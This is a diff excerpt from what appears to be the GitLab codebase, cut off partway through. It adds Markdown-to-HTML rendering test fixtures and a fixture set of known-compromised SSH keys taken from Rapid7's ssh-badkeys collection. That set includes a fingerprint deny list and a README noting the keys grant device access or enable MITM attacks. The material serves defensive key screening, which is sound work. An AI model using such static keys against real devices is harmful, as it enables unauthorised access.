- <a class="no-attachment-icon" href="http://localhost:8080/png/U9nJK73CoKnELT2rKt3AJx9IS2mjoKZDAybCJYp9pCzJ24ejB4qjBk5I0Cagw09LWPLZKLTSa9zNdCe5L8bcO5u-K6MHGY8kWo7ARNHr2QY7MW00AeWxTG00" target="_blank" rel="noopener noreferrer" data-diagram="plantuml" data-diagram-src="data:text/plain;base64,ICBBbGljZSAtPiBCb2I6IEF1dGhlbnRpY2F0aW9uIFJlcXVlc3QKICBCb2IgLS0+IEFsaWNlOiBBdXRoZW50aWNhdGlvbiBSZXNwb25zZQoKICBBbGljZSAtPiBCb2I6IEFub3RoZXIgYXV0aGVudGljYXRpb24gUmVxdWVzdAogIEFsaWNlIDwtLSBCb2I6IEFub3RoZXIgYXV0aGVudGljYXRpb24gUmVzcG9uc2UK"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" decoding="async" class="lazy" data-src="http://localhost:8080/png/U9nJK73CoKnELT2rKt3AJx9IS2mjoKZDAybCJYp9pCzJ24ejB4qjBk5I0Cagw09LWPLZKLTSa9zNdCe5L8bcO5u-K6MHGY8kWo7ARNHr2QY7MW00AeWxTG00"></a>
-
-- name: diagram_plantuml_unicode
- markdown: |-
- ```plantuml
- A -> B : Text with norwegian characters: æøå
- ```
- html: |-
- <a class="no-attachment-icon" href="http://localhost:8080/png/U9npLD2rKt1Ii588IQqeKIZFBCbGoCilAazDpqpCKqZEI2nAJ2v9BIgsKZYyxF2Emqkv07hO4WG0" target="_blank" rel="noopener noreferrer" data-diagram="plantuml" data-diagram-src="data:text/plain;base64,QSAtPiBCIDogVGV4dCB3aXRoIG5vcndlZ2lhbiBjaGFyYWN0ZXJzOiDDpsO4w6UK"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" decoding="async" class="lazy" data-src="http://localhost:8080/png/U9npLD2rKt1Ii588IQqeKIZFBCbGoCilAazDpqpCKqZEI2nAJ2v9BIgsKZYyxF2Emqkv07hO4WG0"></a>
-
-- name: div
- markdown: |-
- <div>plain text</div>
- <div>
-
- just a plain ol' div, not much to _expect_!
-
- </div>
- html: |-
- <div>plain text</div>
- <div>
- <p data-sourcepos="4:1-4:43">just a plain ol' div, not much to <em>expect</em>!</p>
- </div>
-
-- name: emoji
- markdown: |-
- :sparkles: :heart: :100:
- html: |-
- <p data-sourcepos="1:1-1:24" dir="auto"><gl-emoji title="sparkles" data-name="sparkles" data-unicode-version="6.0">✨</gl-emoji> <gl-emoji title="heavy black heart" data-name="heart" data-unicode-version="1.1">â¤</gl-emoji> <gl-emoji title="hundred points symbol" data-name="100" data-unicode-version="6.0">💯</gl-emoji></p>
-
-- name: emphasis
- markdown: _emphasized text_
- html: <p data-sourcepos="1:1-1:17" dir="auto"><em>emphasized text</em></p>
-
-- name: figure
- markdown: |-
- <figure>
-
- ![Elephant at sunset](elephant-sunset.jpg)
-
- <figcaption>An elephant at sunset</figcaption>
- </figure>
- <figure>
-
- ![A crocodile wearing crocs](croc-crocs.jpg)
-
- <figcaption>
-
- A crocodile wearing _crocs_!
-
- </figcaption>
- </figure>
- html: |-
- <figure>
- <p data-sourcepos="3:1-3:42"><a class="no-attachment-icon" href="elephant-sunset.jpg" target="_blank" rel="noopener noreferrer"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Elephant at sunset" decoding="async" class="lazy" data-src="elephant-sunset.jpg"></a></p>
- <figcaption>An elephant at sunset</figcaption>
- </figure>
- <figure>
- <p data-sourcepos="9:1-9:44"><a class="no-attachment-icon" href="croc-crocs.jpg" target="_blank" rel="noopener noreferrer"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="A crocodile wearing crocs" decoding="async" class="lazy" data-src="croc-crocs.jpg"></a></p>
- <figcaption>
- <p data-sourcepos="13:1-13:28">A crocodile wearing <em>crocs</em>!</p>
- </figcaption>
- </figure>
-
-- name: footnotes
- substitutions:
- # NOTE: We don't care about verifying specific attribute values here, that should be the
- # responsibility of unit tests. These tests are about the structure of the HTML.
- fn_href_substitution:
- - regex: '(href)(=")(.+?)(")'
- replacement: '\1\2REF\4'
- footnote_id_substitution:
- - regex: '(id)(=")(.+?)(")'
- replacement: '\1\2ID\4'
-
- pending:
- backend: https://gitlab.com/gitlab-org/gitlab/-/issues/346591
- markdown: |-
- A footnote reference tag looks like this: [^1]
-
- This reference tag is a mix of letters and numbers. [^footnote]
-
- [^1]: This is the text inside a footnote.
-
- [^footnote]: This is another footnote.
- html: |-
- <p data-sourcepos="1:1-1:46" dir="auto">A footnote reference tag looks like this: <sup class="footnote-ref"><a href="#fn-1-2717" id="fnref-1-2717" data-footnote-ref="">1</a></sup></p>
- <p data-sourcepos="3:1-3:56" dir="auto">This reference tag is a mix of letters and numbers. <sup class="footnote-ref"><a href="#fn-footnote-2717" id="fnref-footnote-2717" data-footnote-ref="">2</a></sup></p>
- <section class="footnotes" data-footnotes><ol>
- <li id="fn-1-2717">
- <p data-sourcepos="5:7-5:41">This is the text inside a footnote. <a href="#fnref-1-2717" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
- </li>
- <li id="fn-footnote-2717">
- <p data-sourcepos="6:7-6:31">This is another footnote. <a href="#fnref-footnote-2717" aria-label="Back to content" class="footnote-backref" data-footnote-backref=""><gl-emoji title="leftwards arrow with hook" data-name="leftwards_arrow_with_hook" data-unicode-version="1.1">↩</gl-emoji></a></p>
- </li>
- </ol></section>
-
-- name: frontmatter_json
- markdown: |-
- ;;;
- {
- "title": "Page title"
- }
- ;;;
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-5:3" lang="json" class="code highlight js-syntax-highlight language-json" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="json"><span class="p">{</span></span>
- <span id="LC2" class="line" lang="json"><span class="w"> </span><span class="nl">"title"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Page title"</span></span>
- <span id="LC3" class="line" lang="json"><span class="p">}</span></span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: frontmatter_toml
- markdown: |-
- +++
- title = "Page title"
- +++
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-3:3" lang="toml" class="code highlight js-syntax-highlight language-toml" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="toml"><span class="py">title</span> <span class="p">=</span> <span class="s">"Page title"</span></span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: frontmatter_yaml
- markdown: |-
- ---
- title: Page title
- ---
- html: |-
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="1:1-3:3" lang="yaml" class="code highlight js-syntax-highlight language-yaml" data-lang-params="frontmatter" v-pre="true"><code><span id="LC1" class="line" lang="yaml"><span class="na">title</span><span class="pi">:</span> <span class="s">Page title</span></span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: hard_break
- markdown: |-
- This is a line after a\
- hard break
- html: |-
- <p data-sourcepos="1:1-2:10" dir="auto">This is a line after a<br>
- hard break</p>
-
-- name: headings
- markdown: |-
- # Heading 1
-
- ## Heading 2
-
- ### Heading 3
-
- #### Heading 4
-
- ##### Heading 5
-
- ###### Heading 6
- html: |-
- <h1 data-sourcepos="1:1-1:11" dir="auto">
- <a id="user-content-heading-1" class="anchor" href="#heading-1" aria-hidden="true"></a>Heading 1</h1>
- <h2 data-sourcepos="3:1-3:12" dir="auto">
- <a id="user-content-heading-2" class="anchor" href="#heading-2" aria-hidden="true"></a>Heading 2</h2>
- <h3 data-sourcepos="5:1-5:13" dir="auto">
- <a id="user-content-heading-3" class="anchor" href="#heading-3" aria-hidden="true"></a>Heading 3</h3>
- <h4 data-sourcepos="7:1-7:14" dir="auto">
- <a id="user-content-heading-4" class="anchor" href="#heading-4" aria-hidden="true"></a>Heading 4</h4>
- <h5 data-sourcepos="9:1-9:15" dir="auto">
- <a id="user-content-heading-5" class="anchor" href="#heading-5" aria-hidden="true"></a>Heading 5</h5>
- <h6 data-sourcepos="11:1-11:16" dir="auto">
- <a id="user-content-heading-6" class="anchor" href="#heading-6" aria-hidden="true"></a>Heading 6</h6>
-
-- name: horizontal_rule
- markdown: |-
- ---
- html: |-
- <hr data-sourcepos="1:1-1:3">
-
-- name: html_marks
- markdown: |-
- * Content editor is ~~great~~<ins>amazing</ins>.
- * If the changes <abbr title="Looks good to merge">LGTM</abbr>, please <abbr title="Merge when pipeline succeeds">MWPS</abbr>.
- * The English song <q>Oh I do like to be beside the seaside</q> looks like this in Hebrew: <span dir="rtl">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</span>. In the computer's memory, this is stored as <bdo dir="ltr">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</bdo>.
- * <cite>The Scream</cite> by Edvard Munch. Painted in 1893.
- * <dfn>HTML</dfn> is the standard markup language for creating web pages.
- * Do not forget to buy <mark>milk</mark> today.
- * This is a paragraph and <small>smaller text goes here</small>.
- * The concert starts at <time datetime="20:00">20:00</time> and you'll be able to enjoy the band for at least <time datetime="PT2H30M">2h 30m</time>.
- * Press <kbd>Ctrl</kbd> + <kbd>C</kbd> to copy text (Windows).
- * WWF's goal is to: <q>Build a future where people live in harmony with nature.</q> We hope they succeed.
- * The error occurred was: <samp>Keyboard not found. Press F1 to continue.</samp>
- * The area of a triangle is: 1/2 x <var>b</var> x <var>h</var>, where <var>b</var> is the base, and <var>h</var> is the vertical height.
- * <ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby>
- * C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O
- * The **Pythagorean theorem** is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
- html: |-
- <ul data-sourcepos="1:1-15:130" dir="auto">
- <li data-sourcepos="1:1-1:48">Content editor is <del>great</del><ins>amazing</ins>.</li>
- <li data-sourcepos="2:1-2:126">If the changes <abbr title="Looks good to merge">LGTM</abbr>, please <abbr title="Merge when pipeline succeeds">MWPS</abbr>.</li>
- <li data-sourcepos="3:1-3:288">The English song <q>Oh I do like to be beside the seaside</q> looks like this in Hebrew: <span dir="rtl">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</span>. In the computer's memory, this is stored as <bdo dir="ltr">××”, ×× ×™ ×והב להיות ליד חוף ×”×™×</bdo>.</li>
- <li data-sourcepos="4:1-4:59">
- <cite>The Scream</cite> by Edvard Munch. Painted in 1893.</li>
- <li data-sourcepos="5:1-5:73">
- <dfn>HTML</dfn> is the standard markup language for creating web pages.</li>
- <li data-sourcepos="6:1-6:47">Do not forget to buy <mark>milk</mark> today.</li>
- <li data-sourcepos="7:1-7:64">This is a paragraph and <small>smaller text goes here</small>.</li>
- <li data-sourcepos="8:1-8:149">The concert starts at <time datetime="20:00">20:00</time> and you'll be able to enjoy the band for at least <time datetime="PT2H30M">2h 30m</time>.</li>
- <li data-sourcepos="9:1-9:62">Press <kbd>Ctrl</kbd> + <kbd>C</kbd> to copy text (Windows).</li>
- <li data-sourcepos="10:1-10:105">WWF's goal is to: <q>Build a future where people live in harmony with nature.</q> We hope they succeed.</li>
- <li data-sourcepos="11:1-11:80">The error occurred was: <samp>Keyboard not found. Press F1 to continue.</samp>
- </li>
- <li data-sourcepos="12:1-12:136">The area of a triangle is: 1/2 x <var>b</var> x <var>h</var>, where <var>b</var> is the base, and <var>h</var> is the vertical height.</li>
- <li data-sourcepos="13:1-13:35"><ruby>æ¼¢<rt>ã„ㄢˋ</rt></ruby></li>
- <li data-sourcepos="14:1-14:81">C<sub>7</sub>H<sub>16</sub> + O<sub>2</sub> → CO<sub>2</sub> + H<sub>2</sub>O</li>
- <li data-sourcepos="15:1-15:130">The <strong>Pythagorean theorem</strong> is often expressed as <var>a<sup>2</sup></var> + <var>b<sup>2</sup></var> = <var>c<sup>2</sup></var>
- </li>
- </ul>
-
-- name: image
- markdown: |-
- ![alt text](https://gitlab.com/logo.png)
- html: |-
- <p data-sourcepos="1:1-1:40" dir="auto"><a class="no-attachment-icon" href="https://gitlab.com/logo.png" target="_blank" rel="nofollow noreferrer noopener"><img src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="alt text" decoding="async" class="lazy" data-src="https://gitlab.com/logo.png"></a></p>
-
-- name: inline_code
- markdown: |-
- `code`
- html: |-
- <p data-sourcepos="1:1-1:6" dir="auto"><code>code</code></p>
-
-- name: inline_diff
- markdown: |-
- * {-deleted-}
- * {+added+}
- html: |-
- <ul data-sourcepos="1:1-2:11" dir="auto">
- <li data-sourcepos="1:1-1:13"><span class="idiff left right deletion">deleted</span></li>
- <li data-sourcepos="2:1-2:11"><span class="idiff left right addition">added</span></li>
- </ul>
-
-- name: label
- pending:
- # TODO: There is an error with the frontend HTML to markdown spec adding a double escape (\\) to the label tilde.
- frontend: 'There is an error with the frontend HTML to markdown spec adding a double escape (\\) to the label tilde.'
- markdown: |-
- ~bug
- html: |-
- <p data-sourcepos="1:1-1:4" dir="auto">~bug</p>
-
-- name: link
- markdown: |-
- [GitLab](https://gitlab.com)
- html: |-
- <p data-sourcepos="1:1-1:28" dir="auto"><a href="https://gitlab.com" rel="nofollow noreferrer noopener" target="_blank">GitLab</a></p>
-
-- name: math
- markdown: |-
- This math is inline $`a^2+b^2=c^2`$.
-
- This is on a separate line:
-
- ```math
- a^2+b^2=c^2
- ```
- html: |-
- <p data-sourcepos="1:1-1:36" dir="auto">This math is inline <code class="code math js-render-math" data-math-style="inline">a^2+b^2=c^2</code>.</p>
- <p data-sourcepos="3:1-3:27" dir="auto">This is on a separate line:</p>
- <div class="gl-relative markdown-code-block js-markdown-code">
- <pre data-sourcepos="5:1-7:3" lang="math" data-math-style="display" class="js-render-math code highlight js-syntax-highlight language-math" v-pre="true"><code><span id="LC1" class="line" lang="math">a^2+b^2=c^2</span></code></pre>
- <copy-code></copy-code>
- </div>
-
-- name: ordered_list
- markdown: |-
- 1. list item 1
- 2. list item 2
- 3. list item 3
- html: |-
- <ol data-sourcepos="1:1-3:14" dir="auto">
- <li data-sourcepos="1:1-1:14">list item 1</li>
- <li data-sourcepos="2:1-2:14">list item 2</li>
- <li data-sourcepos="3:1-3:14">list item 3</li>
- </ol>
-
-- name: ordered_list_with_start_order
- markdown: |-
- 134. list item 1
- 135. list item 2
- 136. list item 3
- html: |-
- <ol start="134" data-sourcepos="1:1-3:16" dir="auto">
- <li data-sourcepos="1:1-1:16">list item 1</li>
- <li data-sourcepos="2:1-2:16">list item 2</li>
- <li data-sourcepos="3:1-3:16">list item 3</li>
- </ol>
-
-- name: ordered_task_list
- markdown: |-
- 1. [x] hello
- 2. [x] world
- 3. [ ] example
- 1. [ ] of nested
- 1. [x] task list
- 2. [ ] items
- html: |-
- <ol data-sourcepos="1:1-6:18" class="task-list" dir="auto">
- <li data-sourcepos="1:1-1:12" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
- <li data-sourcepos="2:1-2:12" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
- <li data-sourcepos="3:1-6:18" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> example
- <ol data-sourcepos="4:4-6:18" class="task-list">
- <li data-sourcepos="4:4-6:18" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> of nested
- <ol data-sourcepos="5:7-6:18" class="task-list">
- <li data-sourcepos="5:7-5:22" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> task list</li>
- <li data-sourcepos="6:7-6:18" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> items</li>
- </ol>
- </li>
- </ol>
- </li>
- </ol>
-
-- name: ordered_task_list_with_order
- markdown: |-
- 4893. [x] hello
- 4894. [x] world
- 4895. [ ] example
- html: |-
- <ol start="4893" data-sourcepos="1:1-3:17" class="task-list" dir="auto">
- <li data-sourcepos="1:1-1:15" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
- <li data-sourcepos="2:1-2:15" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
- <li data-sourcepos="3:1-3:17" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> example</li>
- </ol>
-
-- name: reference_for_project_wiki
- api_context: project_wiki
- substitutions:
- # NOTE: We don't care about verifying specific attribute values here, that should be the
- # responsibility of unit tests. These tests are about the structure of the HTML.
- uri_substitution: *uri_substitution
- data_attribute_id_substitution:
- - regex: '(data-user|data-project|data-issue|data-iid|data-merge-request|data-milestone|data-label)(=")(\d+?)(")'
- replacement: '\1\2ID\4'
- text_attribute_substitution:
- - regex: '(title)(=")([^"]*)(")'
- replacement: '\1\2TEXT\4'
- path_attribute_id_substitution:
- - regex: '(group|project)(\d+)'
- replacement: '\1ID'
- markdown: |-
- Hi @gfm_user - thank you for reporting this ~"UX bug" (#1) we hope to fix it in %1.1 as part of !1
- html: |-
- <p data-sourcepos="1:1-1:98" dir="auto">Hi <a href="/gfm_user" data-reference-type="user" data-user="1" data-container="body" data-placement="top" class="gfm gfm-project_member js-user-link" title="John Doe1">@gfm_user</a> - thank you for reporting this <span class="gl-label gl-label-sm"><a href="/groupID/projectID/-/issues?label_name=UX+bug" data-reference-type="label" data-original='~"UX bug"' data-link="false" data-link-reference="false" data-project="ID" data-label="2" data-container="body" data-placement="top" title="TEXT" class="gfm gfm-label has-tooltip gl-link gl-label-link"><span class="gl-label-text gl-label-text-light" data-container="body" data-html="true" style="background-color: #990000">UX bug</span></a></span> (<a href="/group1/project1/-/issues/1" data-reference-type="issue" data-original="#1" data-link="false" data-link-reference="false" data-project="11" data-issue="11" data-project-path="group1/project1" data-iid="1" data-issue-type="issue" data-container="body" data-placement="top" title="My title 1" class="gfm gfm-issue">#1</a>) we hope to fix it in <a href="/group1/project1/-/milestones/1" data-reference-type="milestone" data-original="%1.1" data-link="false" data-link-reference="false" data-project="11" data-milestone="11" data-container="body" data-placement="top" title="" class="gfm gfm-milestone has-tooltip">%1.1</a> as part of <a href="/group1/project1/-/merge_requests/1" data-reference-type="merge_request" data-original="!1" data-link="false" data-link-reference="false" data-project="11" data-merge-request="11" data-project-path="group1/project1" data-iid="1" data-container="body" data-placement="top" title="My title 2" class="gfm gfm-merge_request">!1</a></p>
-- name: strike
- markdown: |-
- ~~del~~
- html: |-
- <p data-sourcepos="1:1-1:7" dir="auto"><del>del</del></p>
-
-- name: table
- markdown: |-
- | header | header |
- |--------|--------|
- | `code` | cell with **bold** |
- | ~~strike~~ | cell with _italic_ |
-
- # content after table
- html: |-
- <table data-sourcepos="1:1-4:35" dir="auto">
- <thead>
- <tr data-sourcepos="1:1-1:19">
- <th data-sourcepos="1:2-1:9">header</th>
- <th data-sourcepos="1:11-1:18">header</th>
- </tr>
- </thead>
- <tbody>
- <tr data-sourcepos="3:1-3:31">
- <td data-sourcepos="3:2-3:9"><code>code</code></td>
- <td data-sourcepos="3:11-3:30">cell with <strong>bold</strong>
- </td>
- </tr>
- <tr data-sourcepos="4:1-4:35">
- <td data-sourcepos="4:2-4:13"><del>strike</del></td>
- <td data-sourcepos="4:15-4:34">cell with <em>italic</em>
- </td>
- </tr>
- </tbody>
- </table>
- <h1 data-sourcepos="6:1-6:21" dir="auto">
- <a id="user-content-content-after-table" class="anchor" href="#content-after-table" aria-hidden="true"></a>content after table</h1>
-
-- name: table_of_contents
- markdown: |-
- [[_TOC_]]
-
- # Lorem
-
- Well, that's just like... your opinion.. man.
-
- ## Ipsum
-
- ### Dolar
-
- # Sit amit
-
- ### I don't know
- html: |-
- <ul class="section-nav">
- <li>
- <a href="#lorem">Lorem</a><ul><li>
- <a href="#ipsum">Ipsum</a><ul><li><a href="#dolar">Dolar</a></li></ul>
- </li></ul>
- </li>
- <li>
- <a href="#sit-amit">Sit amit</a><ul><li><a href="#i-dont-know">I don't know</a></li></ul>
- </li>
- </ul>
- <h1 data-sourcepos="3:1-3:7" dir="auto">
- <a id="user-content-lorem" class="anchor" href="#lorem" aria-hidden="true"></a>Lorem</h1>
- <p data-sourcepos="5:1-5:45" dir="auto">Well, that's just like... your opinion.. man.</p>
- <h2 data-sourcepos="7:1-7:8" dir="auto">
- <a id="user-content-ipsum" class="anchor" href="#ipsum" aria-hidden="true"></a>Ipsum</h2>
- <h3 data-sourcepos="9:1-9:9" dir="auto">
- <a id="user-content-dolar" class="anchor" href="#dolar" aria-hidden="true"></a>Dolar</h3>
- <h1 data-sourcepos="11:1-11:10" dir="auto">
- <a id="user-content-sit-amit" class="anchor" href="#sit-amit" aria-hidden="true"></a>Sit amit</h1>
- <h3 data-sourcepos="13:1-13:16" dir="auto">
- <a id="user-content-i-dont-know" class="anchor" href="#i-dont-know" aria-hidden="true"></a>I don't know</h3>
-
-- name: task_list
- markdown: |-
- * [x] hello
- * [x] world
- * [ ] example
- * [ ] of nested
- * [x] task list
- * [ ] items
- html: |-
- <ul data-sourcepos="1:1-6:15" class="task-list" dir="auto">
- <li data-sourcepos="1:1-1:11" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> hello</li>
- <li data-sourcepos="2:1-2:11" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> world</li>
- <li data-sourcepos="3:1-6:15" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> example
- <ul data-sourcepos="4:3-6:15" class="task-list">
- <li data-sourcepos="4:3-6:15" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> of nested
- <ul data-sourcepos="5:5-6:15" class="task-list">
- <li data-sourcepos="5:5-5:19" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" checked disabled> task list</li>
- <li data-sourcepos="6:5-6:15" class="task-list-item">
- <task-button></task-button><input type="checkbox" class="task-list-item-checkbox" disabled> items</li>
- </ul>
- </li>
- </ul>
- </li>
- </ul>
-
-- name: video
- markdown: |-
- ![Sample Video](https://gitlab.com/gitlab.mp4)
- html: |-
- <p data-sourcepos="1:1-1:46" dir="auto"><span class="media-container video-container"><video src="https://gitlab.com/gitlab.mp4" controls="true" data-setup="{}" data-title="Sample Video" width="400" preload="metadata"></video><a href="https://gitlab.com/gitlab.mp4" target="_blank" rel="nofollow noreferrer noopener" title="Download 'Sample Video'">Sample Video</a></span></p>
-
-- name: word_break
- markdown: Fernstraßen<wbr>bau<wbr>privat<wbr>finanzierungs<wbr>gesetz
- html: <p data-sourcepos="1:1-1:60" dir="auto">Fernstraßen<wbr>bau<wbr>privat<wbr>finanzierungs<wbr>gesetz</wbr></wbr></wbr></wbr></p>
diff --git a/spec/fixtures/tasks/gitlab/security/expected_banned_keys.yml b/spec/fixtures/tasks/gitlab/security/expected_banned_keys.yml
new file mode 100644
index 00000000000..2939b651f82
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/expected_banned_keys.yml
@@ -0,0 +1,12 @@
+---
+dsa:
+- SHA256:/JLp6z6uGE3BPcs70RQob6QOdEWQ6nDC0xY7ejPOCc0
+- SHA256:whDP3xjKBEettbDuecxtGsfWBST+78gb6McdB9P7jCU
+- SHA256:MEc4HfsOlMqJ3/9QMTmrKn5Xj/yfnMITMW8EwfUfTww
+- SHA256:aPoYT2nPIfhqv6BIlbCCpbDjirBxaDFOtPfZ2K20uWw
+- SHA256:VtjqZ5fiaeoZ3mXOYi49Lk9aO31iT4pahKFP9JPiQPc
+rsa:
+- SHA256:Z+q4XhSwWY7q0BIDVPR1v/S306FjGBsid7tLq/8kIxM
+- SHA256:uy5wXyEgbRCGsk23+J6f85om7G55Cu3UIPwC7oMZhNQ
+- SHA256:9prMbqhS4QteoFQ1ZRJDqSBLWoHXPyKB0iWR05Ghro4
+- SHA256:1M4RzhMyWuFS/86uPY/ce2prh/dVTHW7iD2RhpquOZA
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/LICENSE b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/LICENSE
new file mode 100644
index 00000000000..059a3757d67
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/LICENSE
@@ -0,0 +1,22 @@
+The MIT License (MIT)
+
+Copyright (c) 2015 Rapid7
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/README.md b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/README.md
new file mode 100644
index 00000000000..4c0b33e1117
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/README.md
@@ -0,0 +1,12 @@
+# SSH Bad Keys
+
+This is a collection of static SSH keys (host and authentication) that have made their way into software and hardware products. This was inspired by the [Little Black Box](https://code.google.com/p/littleblackbox/) project, but focused primarily on SSH (as opposed to TLS) keys.
+
+Keys are split into two categories; authorized keys and host keys. The authorized keys can be used to gain access to a device with this public key. The host keys can be used to conduct a MITM attack against the device, but do not provide direct access.
+
+This collection depends on submissions from researchers to stay relevant. If you are aware of a static key (host or authorized), please open an [Issue](https://github.com/rapid7/ssh-badkeys/issues) or submit a Pull Request. The [Issues](https://github.com/rapid7/ssh-badkeys/issues) list also contains a wishlist of known bad keys that we would like to include.
+
+For additional key types and a broader scope, take a look at the [Kompromat](https://github.com/BenBE/kompromat) project.
+
+
+
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/array-networks-vapv-vxag.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/array-networks-vapv-vxag.pub
new file mode 100644
index 00000000000..467e5fb566f
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/array-networks-vapv-vxag.pub
@@ -0,0 +1 @@
+ssh-dss AAAAB3NzaC1kc3MAAACBAJTDsX+8olPZeyr58g9XE0L8PKT5030NZBPlE7np4hBqx36HoWarWq1Csn8M57dWN9StKbs03k2ggY6sYJK5AW2EWar70um3pYjKQHiZq7mITmitsozFN/K7wu2e2iKRgquUwH5SuYoOJ29n7uhaILXiKZP4/H/dDudqPRSY6tJPAAAAFQDtuWH90mDbU2L/Ms2lfl/cja/wHwAAAIAMBwSHZt2ysOHCFe1WLUvdwVDHUqk3QHTskuuAnMlwMtSvCaUxSatdHahsMZ9VCHjoQUx6j+TcgRLDbMlRLnwUlb6wpniehLBFk+qakGcREqks5NxYzFTJXwROzP72jPvVgQyOZHWq81gCild/ljL7hmrduCqYwxDIz4o7U92UKQAAAIBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQOC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb+0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBg==
diff --git a/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/barracuda_load_balancer_vm.pub b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/barracuda_load_balancer_vm.pub
new file mode 100644
index 00000000000..a8a832f162b
--- /dev/null
+++ b/spec/fixtures/tasks/gitlab/security/ssh-badkeys/authorized/barracuda_load_balancer_vm.pub
@@ -0,0 +1 @@
